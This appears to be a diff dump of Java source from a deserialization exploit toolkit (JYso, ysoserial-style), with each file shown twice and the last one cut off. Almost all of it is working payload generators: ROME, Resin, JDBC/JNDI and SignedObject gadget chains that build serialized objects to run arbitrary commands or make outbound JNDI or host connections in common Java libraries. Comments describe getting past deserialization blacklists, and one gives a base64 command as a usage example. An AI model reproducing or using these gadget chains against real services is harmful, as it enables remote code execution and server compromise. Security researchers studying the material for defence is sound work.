* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*/
@SuppressWarnings({"unused"})
@Dependencies("rome:rome:1.0")
@Authors({Authors.MBECHLER})
public class ROME implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates;
templates = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, templates);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return makeMap(root, root);
}
}
+37 -37
View File
@@ -1,37 +1,37 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies("rome:rome:1.0")
public class ROME2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object o;
o = Gadgets.createTemplatesImpl(command);
EqualsBean bean = new EqualsBean(String.class, "");
Map map1 = createMap("aa", o);
map1.put("bB", bean);
Map map2 = createMap("aa", bean);
map2.put("bB", o);
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
Reflections.setFieldValue(bean, "_obj", o);
return makeMap(map1, map2);
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
@SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies("rome:rome:1.0")
public class ROME2 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object o;
o = Gadgets.createTemplatesImpl(command);
EqualsBean bean = new EqualsBean(String.class, "");
Map map1 = createMap("aa", o);
map1.put("bB", bean);
Map map2 = createMap("aa", bean);
map2.put("bB", o);
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
Reflections.setFieldValue(bean, "_obj", o);
return makeMap(map1, map2);
}
}
+24 -24
View File
@@ -1,24 +1,24 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
@SuppressWarnings({"unused"})
@Authors({"Firebasky"})
@Dependencies("rome:rome:1.0")
public class ROME3 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
BadAttributeValueExpException b = new BadAttributeValueExpException("");
Reflections.setFieldValue(b, "val", delegate);
return b;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
@SuppressWarnings({"unused"})
@Authors({"Firebasky"})
@Dependencies("rome:rome:1.0")
public class ROME3 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o);
BadAttributeValueExpException b = new BadAttributeValueExpException("");
Reflections.setFieldValue(b, "val", delegate);
return b;
}
}
@@ -1,37 +1,37 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
@SuppressWarnings({"unused"})
public class ROMEJDBC implements ObjectPayload<Object> {
// Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
@Override
public Object getObject(String command) throws Exception {
// Assuming makeJNDIRowSet is a static method in JDKUtil
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
}
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return makeHashCodeTrigger(root);
}
public Object makeHashCodeTrigger(Object o1) throws Exception {
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
@SuppressWarnings({"unused"})
public class ROMEJDBC implements ObjectPayload<Object> {
// Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs;
}
@Override
public Object getObject(String command) throws Exception {
// Assuming makeJNDIRowSet is a static method in JDKUtil
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
}
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
return makeHashCodeTrigger(root);
}
public Object makeHashCodeTrigger(Object o1) throws Exception {
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
}
}
@@ -1,6 +1,6 @@
package com.qi4l.JYso.gadgets;
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release(Object obj) throws Exception;
}
package com.qi4l.JYso.gadgets;
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release(Object obj) throws Exception;
}
@@ -1,57 +1,57 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.imageio.ImageIO;
import javax.media.jai.remote.SerializableRenderedImage;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.net.InetAddress;
@SuppressWarnings({"unused"})
@Dependencies({"javax.media:jai-codec-1.1.3"})
public class RenderedImage implements ObjectPayload<Object> {
public static byte hexToByte(String inHex) {
return (byte) Integer.parseInt(inHex, 16);
}
public static byte[] hexToByteArray(String inHex) {
int hexlen = inHex.length();
byte[] result;
if (hexlen % 2 == 1) {
hexlen++;
result = new byte[(hexlen / 2)];
inHex = "0" + inHex;
} else {
result = new byte[(hexlen / 2)];
}
int j = 0;
for (int i = 0; i < hexlen; i += 2) {
result[j] = hexToByte(inHex.substring(i, i + 2));
j++;
}
return result;
}
@Override
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <host>:<port>");
}
String host = command.substring(0, sep);
String port = command.substring(sep + 1);
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port));
Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host));
return serializableRenderedImage;
}
}
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.imageio.ImageIO;
import javax.media.jai.remote.SerializableRenderedImage;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.net.InetAddress;
@SuppressWarnings({"unused"})
@Dependencies({"javax.media:jai-codec-1.1.3"})
public class RenderedImage implements ObjectPayload<Object> {
public static byte hexToByte(String inHex) {
return (byte) Integer.parseInt(inHex, 16);
}
public static byte[] hexToByteArray(String inHex) {
int hexlen = inHex.length();
byte[] result;
if (hexlen % 2 == 1) {
hexlen++;
result = new byte[(hexlen / 2)];
inHex = "0" + inHex;
} else {
result = new byte[(hexlen / 2)];
}
int j = 0;
for (int i = 0; i < hexlen; i += 2) {
result[j] = hexToByte(inHex.substring(i, i + 2));
j++;
}
return result;
}
@Override
public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':');
if (sep < 0) {
throw new IllegalArgumentException("Command format is: <host>:<port>");
}
String host = command.substring(0, sep);
String port = command.substring(sep + 1);
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port));
Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host));
return serializableRenderedImage;
}
}
+79 -79
View File
@@ -1,79 +1,79 @@
package com.qi4l.JYso.gadgets;
import com.caucho.naming.QName;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.lang.reflect.Constructor;
import java.net.URI;
import java.util.Hashtable;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
@SuppressWarnings({"unused"})
public class Resin implements ObjectPayload<Object> {
public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return makeMap(o, xString);
}
public static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
@Override
public Object getObject(String command) throws Exception {
//需要处理command
return makeResinQName(command);
}
public Object makeResinQName(String command) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "cause", null);
Reflections.setFieldValue(cpe, "stackTrace", null);
//考虑换成其他的
URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx, "foo", "bar");
return makeToStringTrigger(qName);
}
}
package com.qi4l.JYso.gadgets;
import com.caucho.naming.QName;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.lang.reflect.Constructor;
import java.net.URI;
import java.util.Hashtable;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
@SuppressWarnings({"unused"})
public class Resin implements ObjectPayload<Object> {
public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return makeMap(o, xString);
}
public static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
@Override
public Object getObject(String command) throws Exception {
//需要处理command
return makeResinQName(command);
}
public Object makeResinQName(String command) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "cause", null);
Reflections.setFieldValue(cpe, "stackTrace", null);
//考虑换成其他的
URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx, "foo", "bar");
return makeToStringTrigger(qName);
}
}
@@ -1,255 +1,255 @@
package com.qi4l.JYso.gadgets;
import cn.hutool.core.comparator.PropertyComparator;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import com.sun.syndication.feed.impl.ObjectBean;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import org.springframework.beans.factory.ObjectFactory;
import java.awt.*;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.math.BigInteger;
import java.util.*;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static java.lang.Class.forName;
/**
* SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
* 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
* yso 中大概包含如下几种可用的常见调用链:
* 1. InvokerTransformer 调用任意方法(依赖 CC)
* 2. BeanComparator 调用 getter 方法(依赖 CB
* 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
* 4. ToStringBean 调用全部 getter 方法(依赖 Rome
* 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core
* 6. MemberBox 反射调用任意方法(依赖 rhino)
* 7. hutool.MapProxy 二次反序列化
* 8. MapMessage 二次反序列化
* <p>
* 利用方式:
* SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000'
* 最后2个类型是脏数据类型和长度,为0则不混淆
* @author QI4L
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class SignedObject implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
String[] commands = command.split(":");
if (commands.length < 3) {
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
}
String type1 = commands[0];
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
switch (type1.toLowerCase()) {
case "cb":
return getSignedObjectWithCB(object);
case "hibernate":
return getSignedObjectWithHibernate(object);
case "rome":
return getSignedObjectWithRome(object);
case "rhino":
return getSignedObjectWithRhino(object);
case "spring":
return getSignedObjectWithSpring(object);
case "cc4":
return getSignedObjectWithCC4(object);
case "cu":
return getHutoolMapProxy(object);
case "mm":
return getMapMessage(object);
case "cc":
default:
return getSignedObjectWithCCNoArray(object);
}
}
public Object getOriginal(String[] args) throws Exception {
final String payloadType = args[0];
String command = args[1];
// 支持单双引号
if (command.startsWith("'") || command.startsWith("\"")) {
command = command.substring(1, command.length() - 1);
}
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(realCmd);
if (args.length >= 3) {
final String type = args[2];
final String length = args[3];
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
}
return object;
}
// MapMessage二次反序列化
public Object getMapMessage(Object serObj) throws Exception {
Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj));
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
Object[] objects = (Object[]) getFieldValue(queue, "queue");
objects[1] = mapMessage;
Comparator<?> comparator = new PropertyComparator<>("getKey");
setFieldValue(queue, "comparator", comparator);
return queue;
}
// hutool.MapProxy 二次反序列化
public Object getHutoolMapProxy(Object serObj) throws Exception {
HashMap<String, Object> map = new HashMap<>();
map.put("bounds", serialize(serObj));
cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy);
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
Object[] objects = (Object[]) getFieldValue(queue, "queue");
objects[1] = proxy;
Comparator<?> comparator = new PropertyComparator<>("bounds");
setFieldValue(queue, "comparator", comparator);
return queue;
}
// CC 无数组二次反序列化
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Map<?,?> old = new HashMap<>();
Transformer invoke = new InvokerTransformer("toString", null, null);
Map<?,?> newMap = LazyMap.decorate(old, invoke);
TiedMapEntry entry = new TiedMapEntry(newMap, obj);
Map<TiedMapEntry, Object> ht = new HashMap<>();
ht.put(entry, obj);
newMap.remove(obj);
setFieldValue(invoke, "iMethodName", "getObject");
return ht;
}
// CC4 无 TiedMapEntry 二次反序列化
public Object getSignedObjectWithCC4(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator<>(transformer);
TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp);
tree.add(obj);
setFieldValue(transformer, "iMethodName", "getObject");
return tree;
}
// CB 二次反序列化
public Object getSignedObjectWithCB(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "object");
setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue;
}
// Hibernate 二次反序列化
public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
return Hibernate1.makeCaller(obj, getters);
}
// Rome 二次反序列化
public Object getSignedObjectWithRome(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return makeMap(root, root);
}
// Spring-Core 二次反序列化
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
setFieldValue(mitp, "methodName", "getObject");
return mitp;
}
// Rhino 二次反序列化
public Object getSignedObjectWithRhino(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
setFieldValue(initContextNativeJavaObject, "isAdapter", true);
setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "object", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
setFieldValue(nativeJavaArray, "parent", dummyScope);
setFieldValue(nativeJavaArray, "javaObject", obj);
nativeJavaArray.setPrototype(scriptableObject);
setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject();
setFieldValue(nativeJavaObject, "parent", dummyScope);
setFieldValue(nativeJavaObject, "isAdapter", true);
setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject;
}
}
package com.qi4l.JYso.gadgets;
import cn.hutool.core.comparator.PropertyComparator;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import com.sun.syndication.feed.impl.ObjectBean;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment;
import org.springframework.beans.factory.ObjectFactory;
import java.awt.*;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.*;
import java.math.BigInteger;
import java.util.*;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static java.lang.Class.forName;
/**
* SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
* 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
* yso 中大概包含如下几种可用的常见调用链:
* 1. InvokerTransformer 调用任意方法(依赖 CC)
* 2. BeanComparator 调用 getter 方法(依赖 CB
* 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
* 4. ToStringBean 调用全部 getter 方法(依赖 Rome
* 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core
* 6. MemberBox 反射调用任意方法(依赖 rhino)
* 7. hutool.MapProxy 二次反序列化
* 8. MapMessage 二次反序列化
* <p>
* 利用方式:
* SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000'
* 最后2个类型是脏数据类型和长度,为0则不混淆
* @author QI4L
*/
@SuppressWarnings({"rawtypes", "unchecked","unused"})
public class SignedObject implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
String[] commands = command.split(":");
if (commands.length < 3) {
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
}
String type1 = commands[0];
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
switch (type1.toLowerCase()) {
case "cb":
return getSignedObjectWithCB(object);
case "hibernate":
return getSignedObjectWithHibernate(object);
case "rome":
return getSignedObjectWithRome(object);
case "rhino":
return getSignedObjectWithRhino(object);
case "spring":
return getSignedObjectWithSpring(object);
case "cc4":
return getSignedObjectWithCC4(object);
case "cu":
return getHutoolMapProxy(object);
case "mm":
return getMapMessage(object);
case "cc":
default:
return getSignedObjectWithCCNoArray(object);
}
}
public Object getOriginal(String[] args) throws Exception {
final String payloadType = args[0];
String command = args[1];
// 支持单双引号
if (command.startsWith("'") || command.startsWith("\"")) {
command = command.substring(1, command.length() - 1);
}
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(realCmd);
if (args.length >= 3) {
final String type = args[2];
final String length = args[3];
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
}
return object;
}
// MapMessage二次反序列化
public Object getMapMessage(Object serObj) throws Exception {
Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj));
PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
Object[] objects = (Object[]) getFieldValue(queue, "queue");
objects[1] = mapMessage;
Comparator<?> comparator = new PropertyComparator<>("getKey");
setFieldValue(queue, "comparator", comparator);
return queue;
}
// hutool.MapProxy 二次反序列化
public Object getHutoolMapProxy(Object serObj) throws Exception {
HashMap<String, Object> map = new HashMap<>();
map.put("bounds", serialize(serObj));
